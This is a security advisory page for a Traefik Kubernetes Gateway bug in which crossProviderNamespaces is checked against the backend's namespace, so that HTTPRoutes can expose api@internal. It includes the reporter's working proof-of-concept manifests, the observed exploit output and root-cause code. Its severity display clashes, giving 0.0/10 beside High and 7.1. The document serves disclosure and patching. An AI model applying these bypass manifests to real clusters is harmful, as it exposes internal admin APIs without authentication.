GHSA-3g6v-2r68-prfc CVE-2026-54761 GO-2026-5083
Traefik: Kubernetes Gateway crossProviderNamespaces bypass allows HTTPRoute outside the allowlist to expose internal Traefik services
- Severity
- 0.0 / 10
- High · CVSS 4.0
- Exploit chance (EPSS)
- 0.37%
- Chance of exploitation in the next 30 days. Higher than 30.74% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Fix
3.6.21- Upgrade github.com/traefik/traefik/v3 to this version or later
Description
Summary
There is a high severity vulnerability in Traefik's Kubernetes Gateway provider affecting the crossProviderNamespaces allowlist. For HTTPRoute rules that declare multiple (WRR) backendRefs, Traefik evaluates the allowlist against the target backendRef.namespace instead of the route's own namespace. As a result, an HTTPRoute created in a namespace that is not allow-listed can reference a cross-provider TraefikService such as api@internal, dashboard@internal or rest@internal by pointing backendRef.namespace at an allow-listed namespace covered by a Gateway API ReferenceGrant, exposing internal Traefik services on the data plane. Exploitation requires the ability to create an accepted HTTPRoute and a matching ReferenceGrant from an allow-listed namespace ; it does not require any change to Traefik static configuration, RBAC, or the deployment itself.
Patches
- https://github.com/traefik/traefik/releases/tag/v3.6.21
- https://github.com/traefik/traefik/releases/tag/v3.7.5
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Summary
The Kubernetes Gateway provider's crossProviderNamespaces option is documented as restricting which Gateway API route namespaces may declare TraefikService backendRefs.
For HTTPRoute rules with multiple backendRefs, Traefik checks this allowlist against backendRef.namespace instead of the HTTPRoute namespace. A route in a namespace that is not allow-listed can therefore add api@internal to the generated WRR service by setting backendRef.namespace to an allow-listed namespace, as long as a normal Gateway API ReferenceGrant permits that cross-namespace reference.
Verified affected versions:
v3.7.1(fa49e2bcad7ffd8a80accdf1fae1ae480913d93d)- current source/master tested by me (
29406d42898547f1ffabd904f66af06c212740cf)
Expected Behavior
With:
providers:
kubernetesGateway:
crossProviderNamespaces:
- trusted
only Gateway API routes whose own namespace is trusted should be allowed to declare TraefikService backendRefs such as api@internal, dashboard@internal, or rest@internal.
An HTTPRoute in namespace attacker should not be able to expose an internal Traefik service by setting:
backendRefs:
- group: traefik.io
kind: TraefikService
name: api@internal
namespace: trusted
Actual Behavior
For an HTTPRoute in namespace attacker with two backendRefs, Traefik generates a WRR service containing:
[api@internal attacker-whoami-http-80]
even though crossProviderNamespaces only allows trusted.
Threat Model
This does not require changing Traefik static configuration or Traefik process state. The relevant boundary is the Kubernetes Gateway provider's crossProviderNamespaces policy: namespaces outside the allowlist should not be able to declare cross-provider TraefikService backendRefs.
The precondition is a Gateway API environment where an untrusted or less-trusted namespace can create HTTPRoute objects accepted by a Gateway, and a namespace in the crossProviderNamespaces allowlist has a matching ReferenceGrant. ReferenceGrant should satisfy Gateway API cross-namespace reference rules, but it should not override Traefik's separate provider-level namespace allowlist for cross-provider internal services.
A Gateway API ReferenceGrant should be treated as necessary but not sufficient for this case. It authorizes the cross-namespace object reference under Gateway API rules, but Traefik's crossProviderNamespaces option is an additional Traefik-specific security control for cross-provider TraefikService backendRefs, especially @internal services. Therefore a ReferenceGrant from trusted must not make a route in attacker equivalent to a route whose own namespace is trusted.
Required Attacker Capability
Required:
- create or modify an
HTTPRoutein namespaceattacker; - have that
HTTPRouteaccepted by aGateway; - rely on an existing
ReferenceGrantfrom an allow-listed namespace, or on a delegated namespace setup where suchReferenceGrantobjects are managed separately from Traefik's provider configuration.
Not required:
- modifying Traefik static configuration;
- modifying the Traefik deployment or Traefik RBAC;
- modifying resources in the Traefik deployment namespace;
- modifying
providers.kubernetesGateway.crossProviderNamespaces; - enabling
api.insecure; - exposing the dashboard/API entrypoint directly.
Documentation Evidence
The documented boundary is the namespace of the Gateway API route/resource that declares the cross-provider reference, not the namespace named in backendRef.namespace.
The Kubernetes Gateway provider option is documented as:
List of namespaces from which Gateway API routes (HTTPRoute, TCPRoute, TLSRoute) are allowed to declare a backendRef of kind TraefikService.
The migration notes also describe the security reason for the option:
those references ... allow a user to cross namespace boundaries, as well as exposing @internal services, that only the operator should be able to expose.
and the documented behavior is:
["ns-a"] | Only Kubernetes resources in the listed namespaces can declare cross-provider references.
The provider struct uses the same route-namespace wording:
CrossProviderNamespaces []string `description:"List of namespaces from which Gateway API routes are allowed to declare TraefikService backendRef references." ...`
The reproduced route kind is HTTPRoute; no Gateway API experimental-channel resources are required for the PoC.
PoC
I validated the issue end-to-end in a local kind cluster with Traefik v3.7.1, real Gateway API CRDs, real Kubernetes Gateway, HTTPRoute, and ReferenceGrant resources, and HTTP requests to Traefik's normal web entrypoint.
The complete local reproducer I used is a self-contained kind PoC with these files:
external-repro-kind/kind-config.yaml
external-repro-kind/traefik-v371.yaml
external-repro-kind/gateway-exploit.yaml
external-repro-kind/run-kind-repro.sh
Run command:
./external-repro-kind/run-kind-repro.sh
The script creates a local kind cluster, loads local traefik:v3.7.1 and traefik/whoami:v1.11.0 images, installs Gateway API CRDs, deploys Traefik and the PoC Gateway resources, sends the control and exploit curl requests to 127.0.0.1:18080, prints route status, and deletes the cluster on exit.
Traefik was started with:
--api=true
--api.dashboard=true
--api.insecure=false
--providers.kubernetesgateway=true
--providers.kubernetesgateway.crossprovidernamespaces=trusted
The local host entrypoint was:
127.0.0.1:18080 -> kind NodePort -> Traefik web entrypoint
The target namespace has a normal Gateway API ReferenceGrant:
apiVersion: gateway.networking.k8s.io/v1beta1
kind: ReferenceGrant
metadata:
name: allow-attacker-to-traefikservice
namespace: trusted
spec:
from:
- group: gateway.networking.k8s.io
kind: HTTPRoute
namespace: attacker
to:
- group: traefik.io
kind: TraefikService
Positive control:
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
name: single-backend-control
namespace: attacker
spec:
parentRefs:
- name: shared-gateway
namespace: default
hostnames:
- control.localhost
rules:
- matches:
- path:
type: PathPrefix
value: /api
backendRefs:
- group: traefik.io
kind: TraefikService
name: api@internal
namespace: trusted
port: 80
weight: 1
Bypass:
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
name: mixed-backend-bypass
namespace: attacker
spec:
parentRefs:
- name: shared-gateway
namespace: default
hostnames:
- exploit.localhost
rules:
- matches:
- path:
type: PathPrefix
value: /api
backendRefs:
- group: traefik.io
kind: TraefikService
name: api@internal
namespace: trusted
port: 80
weight: 1000000
- group: ""
kind: Service
name: whoami
port: 80
weight: 1
Observed external result:
control: single-backend route from attacker namespace should not expose api@internal
control status: 404
404 page not found
exploit: mixed backendRef route from attacker namespace exposes api@internal
exploit returned Traefik API JSON
api@internal status: enabled
weighted members:
api@internal 1000000
attacker-whoami-http-80 1
The HTTPRoute status shows the boundary difference:
single-backend-control:
Accepted=True
ResolvedRefs=False
Reason=RefNotPermitted
Message=Cannot load HTTPRoute BackendRef api@internal: internal service reference is not allowed: HTTPRoute namespace "attacker" is not in crossProviderNamespaces
mixed-backend-bypass:
Accepted=True
ResolvedRefs=True
This is the externally visible security failure: the same route namespace and same api@internal backendRef are rejected in the single-backend path, but accepted in the mixed/WRR path and exposed on the data plane.
Minimized Root Cause Test
I also created a provider-level regression test using Traefik's fake Kubernetes/Gateway clients. This does not rely on the Docker lab, dashboard exposure, or helper backends. It is useful as a minimal root-cause test, but the external kind PoC above is the primary impact reproduction.
Files:
probe/crossprovider_namespace_probe_test.goprobe/cross_provider_namespace_probe.ymlprobe/cross_provider_namespace_single_control.yml
Reproduction:
cp probe/crossprovider_namespace_probe_test.go pkg/provider/kubernetes/gateway/
cp probe/cross_provider_namespace_probe.yml pkg/provider/kubernetes/gateway/fixtures/httproute/
go test ./pkg/provider/kubernetes/gateway -run TestProbeCrossProviderNamespacesHTTPRouteBackendNamespaceBypass -count=1 -v
Observed output on both tested versions:
Messages: HTTPRoute namespace attacker must not expose api@internal when only trusted is allow-listed; members=[api@internal attacker-whoami-http-80]
The reproducer also includes a positive control:
=== RUN TestProbeCrossProviderNamespacesHTTPRouteSingleBackendControl
--- PASS: TestProbeCrossProviderNamespacesHTTPRouteSingleBackendControl
That control shows the single-backend internal-service code path rejects the setup correctly. The bypass appears when the same forbidden internal backend is placed in a mixed/WRR backendRef list.
Root Cause
The single-internal-service path checks the route namespace:
case len(routeRule.BackendRefs) == 1 && isInternalService(routeRule.BackendRefs[0].BackendRef):
if !isCrossProviderNamespaceAllowed(p.CrossProviderNamespaces, route.Namespace) {
The mixed/multiple backendRef path calls loadService. In loadService, namespace is overwritten from backendRef.Namespace, then passed to loadHTTPBackendRef:
namespace := route.Namespace
if backendRef.Namespace != nil && *backendRef.Namespace != "" {
namespace = string(*backendRef.Namespace)
}
...
name, service, err := p.loadHTTPBackendRef(namespace, backendRef)
loadHTTPBackendRef then checks crossProviderNamespaces against this target namespace:
if *backendRef.Kind == "TraefikService" && strings.Contains(string(backendRef.Name), "@") {
if !isCrossProviderNamespaceAllowed(p.CrossProviderNamespaces, namespace) {
This lets a disallowed route namespace choose an allow-listed target namespace and pass the check.
Impact
An untrusted route namespace may expose internal Traefik services through Gateway HTTPRoute despite being excluded from crossProviderNamespaces.
Potentially exposed internal services include:
api@internaldashboard@internalrest@internal
This is a route isolation / internal service exposure / security option bypass. Practical severity depends on whether internal services are enabled and how Gateway ReferenceGrant delegation is used, but the observed behavior violates the documented security boundary of crossProviderNamespaces.
I also validated the concrete impact of the generated service graph in the local lab. The lab's intended safe baseline has the dashboard/API protected on the dashboard entrypoint:
Host: dashboard.localhost -> dashboard entrypoint /api/rawdata => 401 Unauthorized
Host: dashboard.localhost -> web entrypoint /api/rawdata => 404 Not Found
When a router on the normal web entrypoint references api@internal, the same API endpoint becomes unauthenticated:
Host: impact-crossprovider.localhost -> web entrypoint /api/rawdata => 200 OK
service: api@internal
A WRR service containing api@internal also exposes the API:
Host: impact-crossprovider-wrr.localhost -> web entrypoint /api/rawdata => 200 OK
weighted services:
api@internal 1000
echo-svc 1
This is the security consequence of the provider bug: a namespace that should be blocked by crossProviderNamespaces can make Traefik generate a service graph containing api@internal on a route it controls.
Suggested Fix
For Gateway HTTPRoute TraefikService cross-provider backendRefs, validate crossProviderNamespaces against route.Namespace in all code paths, including mixed/WRR backendRefs.
</details>
Affected versions
Go
| Package | Vulnerable | Fixed in |
|---|---|---|
| github.com/traefik/traefik | <= 1.7.34 |
No fix yet |
| github.com/traefik/traefik | all versions |
No fix yet |
| github.com/traefik/traefik/v2 | <= 2.11.50 |
No fix yet |
| github.com/traefik/traefik/v2 | all versions |
No fix yet |
| github.com/traefik/traefik/v3 | < 3.6.21 |
3.6.21 |
| github.com/traefik/traefik/v3 | >= 3.7.0-ea.1, < 3.7.5 |
3.7.5 |
| github.com/traefik/traefik/v3 | < 3.6.21>= 3.7.0-ea.1, < 3.7.5 |
3.6.213.7.5 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
github.com/traefik/traefik/v3 Go → 3.6.21
- go
go get github.com/traefik/traefik/v3@v3.6.21 && go mod tidy
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- Present
- Privileges required
- Low
- User interaction
- None
- Confidentiality (vulnerable system)
- High
- Integrity (vulnerable system)
- Low
- Availability (vulnerable system)
- None
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
CVSS 3.1 7.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- Low
- Availability
- None
Weakness
CWE-284: Improper Access Control
The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.
How to prevent it
- Architecture and Design, Operation: Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
- Architecture and Design: Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
CWE-863: Incorrect Authorization
The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.
How to prevent it
- Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
- Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
- Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
- System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GO-2026-6558 Traefik: BasicAuth singleflight coalescing reintroduces an unauthenticated username-enumeration timing oracle | Medium | Also affects github.com/traefik/traefik |
| GHSA-f52w-8j3h-j724 Traefik: Rootless HTTP/1 request-target routes as "/" but is forwarded verbatim, bypassing path-scoped routing, middleware guards and access logging | High | Also affects github.com/traefik/traefik |
| GHSA-w4v4-9rw7-5326 Traefik: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') and Incorrect Authorization | Critical | Also affects github.com/traefik/traefik |
| GHSA-qqjf-53cj-pwvv Traefik HTTP/3 Backend NTLM Connection Reuse | Critical | Also affects github.com/traefik/traefik |
| GO-2026-6467 Traefik entrypoint header-name sanitization bypassed via request trailers | High | Also affects github.com/traefik/traefik |
| GHSA-rf44-j88r-hh8c Traefik: ForwardAuth identity spoofing via dot-form header alias | High | Also affects github.com/traefik/traefik |
| GHSA-7ghq-v6jf-g56c Traefik: respondingTimeouts.readTimeout is not applied to HTTP/3, leaving slow-body uploads unbounded | Medium | Also affects github.com/traefik/traefik |
| GHSA-62fc-8686-hfmq Traefik: `allowCrossNamespace=false` bypass via `@kubernetescrd` TraefikService backendRef | Medium | Also affects github.com/traefik/traefik |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor